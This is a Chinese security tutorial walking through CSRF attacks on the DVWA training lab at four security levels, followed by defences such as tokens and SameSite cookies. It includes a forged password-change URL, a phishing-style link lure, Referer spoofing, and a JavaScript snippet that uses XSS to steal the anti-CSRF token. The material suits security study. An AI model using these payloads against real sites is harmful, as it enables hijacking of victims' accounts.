当前位置: 首页 > news >正文

DVWA CSRF漏洞分析与利用

目录

简介

一、CSRF漏洞原理与技术背景

1.1 CSRF攻击机制

1.2 DVWA CSRF模块分析

二、Low级别漏洞分析与利用

2.1 关键代码

2.2 漏洞利用实战

三、Medium级别防护绕过

3.1 关键代码

3.2 绕过技术

四、High级别进阶攻击

4.1 Token防护机制

4.2 结合XSS绕过

五、Impossible级别防护分析

5.1 关键代码

六、CSRF防御最佳实践

七、总结


简介

跨站请求伪造(CSRF)是Web安全领域最常见的高危漏洞之一。本文将以DVWA(Damn Vulnerable Web Application)为实验平台,通过代码审计、漏洞利用和防御方案三个维度,全面解析CSRF漏洞的攻防技术。

一、CSRF漏洞原理与技术背景

1.1 CSRF攻击机制

CSRF(Cross-Site Request Forgery)是一种利用受害者已认证状态的非授权操作攻击。其核心攻击流程为:

  1. 用户登录受信任网站A

  2. 未注销情况下访问恶意网站B

  3. 网站B伪造针对网站A的合法请求

  4. 用户浏览器携带认证信息自动执行该请求

1.2 DVWA CSRF模块分析

DVWA的CSRF模块模拟了密码修改功能,包含四个安全等级:

  • Low:无任何防护

  • Medium:基础Referer检查

  • High:Anti-CSRF Token

  • Impossible:多因素认证

二、Low级别漏洞分析与利用

2.1 关键代码

// dvwa/vulnerabilities/csrf/source/low.php
if( isset( $_GET[ 'Change' ] ) ) {$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];if( $pass_new == $pass_conf ) {// 直接修改密码$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert) or die(...);}
}

漏洞点

  • 使用GET方法修改密码

  • 无Token验证

  • 无Referer检查

2.2 漏洞利用实战

攻击步骤

1.输入密码更改时,发现get形式传参

2.构造恶意URL:

http://192.168.21.4/dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change

3.社工诱导点击:

<a href="http://192.168.21.4/dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change" >点击领取红包</a>

发现密码已经更改成功

三、Medium级别防护绕过

3.1 关键代码

// medium.php
if( stripos( $_SERVER[ 'HTTP_REFERER' ], $_SERVER[ 'SERVER_NAME' ] ) === false ) {die("请求必须来自同一域名");
}

防护机制

  • 检查HTTP Referer头

  • 要求包含服务器名

3.2 绕过技术

正常使用csrf poc已经不能成功更改密码了,提示“That request didn't look correct.”

Referer头伪造,Referer添加网站地址即可进行csrf更改

四、High级别进阶攻击

4.1 Token防护机制

// high.php
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

4.2 结合XSS绕过

// 通过XSS先获取Token
var xhr = new XMLHttpRequest();
xhr.onload = function() {var token = this.responseText.match(/user_token' value='(.*?)'/)[1];// 构造CSRF请求var img = new Image();img.src = "http://192.168.21/dvwa/...&user_token="+token;
};
xhr.open("GET", "/dvwa/vulnerabilities/csrf/");
xhr.send();

五、Impossible级别防护分析

5.1 关键代码

// impossible.php
$pass_curr = $_POST[ 'password_current' ];
if( !hash_equals( $user_pass, md5( $pass_curr ) ) ) {die("Current password incorrect");
}

防护策略

  1. 强制POST方法

  2. 要求验证当前密码

  3. 使用一次性Token

  4. 密码哈希比对

六、CSRF防御最佳实践

  1. Anti-CSRF Token

    • 每个表单生成唯一Token

    • 服务端严格校验

  2. SameSite Cookie属性

    setcookie('sessionid', 'value', ['samesite' => 'Strict','secure' => true
    ]);

  3. 关键操作二次认证

    • 短信/邮件验证

    • 生物识别

七、总结

安全级别防护措施攻击难度
Low无防护★☆☆☆☆
MediumReferer检查★★☆☆☆
HighCSRF Token★★★☆☆
Impossible多因素认证★★★★★
http://www.dtcms.com/a/277604.html

相关文章:

  • Leaflet面试题及答案(61-80)
  • 梯度下降算法:像下山一样找到最优解
  • opencv4.12 vs2022 cmake contrib编译
  • (一)SAP GROUP REPORTING(集团报表)集团财务合并解决方案套件
  • ERA5的UV合并成矢量并按时间维度转为nc或tif
  • Excalidraw:一款颠覆传统思维的免费开源绘图工具
  • 28.安卓逆向2-frida hook技术-逆向os文件(一)
  • 零基础完全理解视觉语言模型(VLM):从理论到代码实践
  • TASK2 夏令营:用AI做带货视频评论分析
  • 【算法】递归、搜索与回溯
  • docker运行redis指定配置+jdk17安装在centos7
  • sklearn study notes[1]
  • uView UI 组件大全
  • spring-ai-alibaba 1.0.0.2 学习(十六)——多模态
  • Python 的 MRO
  • JDBC相关知识点
  • 查看ubuntu磁盘占用方法
  • Prometheus Operator:Kubernetes 监控自动化实践
  • 对测试左移的一些总结和思考
  • Python 数据挖掘实战概述
  • python代码块的表示方法
  • 【惟一最接近10位小数的分数】2022-8-15
  • 06.计算两个日期之间的差值
  • 数学与应用数学核心课程有哪些?全文解析!
  • 【Linux庖丁解牛】— 信号量ipc管理!
  • AI(学习笔记第五课) 使用langchain进行AI开发 load documents(web)
  • 【算法】贪心算法:柠檬水找零C++
  • 基础数论学习笔记
  • 西门子博图PID入门组态编程及调试
  • 代码随想录算法训练营第三十三天|62.不同路径 63. 不同路径 II 343. 整数拆分 96.不同的二叉搜索树